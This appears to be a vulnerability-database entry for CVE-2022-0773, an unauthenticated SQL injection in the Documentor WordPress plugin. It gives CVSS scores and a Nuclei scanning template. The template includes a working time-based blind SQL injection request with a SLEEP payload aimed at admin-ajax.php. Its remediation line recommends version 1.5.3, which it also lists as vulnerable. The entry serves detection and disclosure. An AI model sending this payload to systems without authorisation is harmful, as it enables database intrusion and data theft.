Documentor <= 1.5.3 - Unauthenticated SQL Injection

2023-04-2108:56:01

ProjectDiscovery

github.com

cve2022

unauthenticated

sql-injection

wordpress-plugin

documentor-lite

wpscan

wordpress

documentor-project

critical-severity

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

0.04 Low

EPSS

Percentile

92.1%

JSON

The Documentor WordPress plugin through 1.5.3 fails to sanitize and escape user input before it is being interpolated in an SQL statement and then executed, leading to an SQL Injection exploitable by unauthenticated users.

id: CVE-2022-0773

info:
  name: Documentor <= 1.5.3 - Unauthenticated SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The Documentor WordPress plugin through 1.5.3 fails to sanitize and escape user input before it is being interpolated in an SQL statement and then executed, leading to an SQL Injection exploitable by unauthenticated users.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Update to Documentor version 1.5.3 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/55b89de0-30ed-4f98-935e-51f069faf6fc
    - https://wordpress.org/plugins/documentor-lite/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0773
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0773
    cwe-id: CWE-89
    epss-score: 0.05057
    epss-percentile: 0.92125
    cpe: cpe:2.3:a:documentor_project:documentor:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: documentor_project
    product: documentor
    framework: wordpress
  tags: cve2022,cve,unauth,sqli,wp-plugin,wp,documentor-lite,wpscan,wordpress,documentor_project

http:
  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=doc_search_results&term=&docid=1+AND+(SELECT+6288+FROM+(SELECT(SLEEP(6)))HRaz)
      - |
        GET /wp-content/plugins/documentor-lite/core/js/documentor.js HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_1>=6'
          - 'status_code == 200'
          - 'contains(content_type_1, "text/html")'
          - 'contains(body_1, "([])") && contains(body_2, ".documentor-help")'
        condition: and
# digest: 490a0046304402205f2cc03db340617761a1fa935180c834e2ffa82c932c1189a14dfcb1d06333f70220105b6b52747cdf5d6f4ad6ca85ab86c5cd0f844d3a8a8d75cec26b186467f283:922c64590222798bb761d5b6d8e72950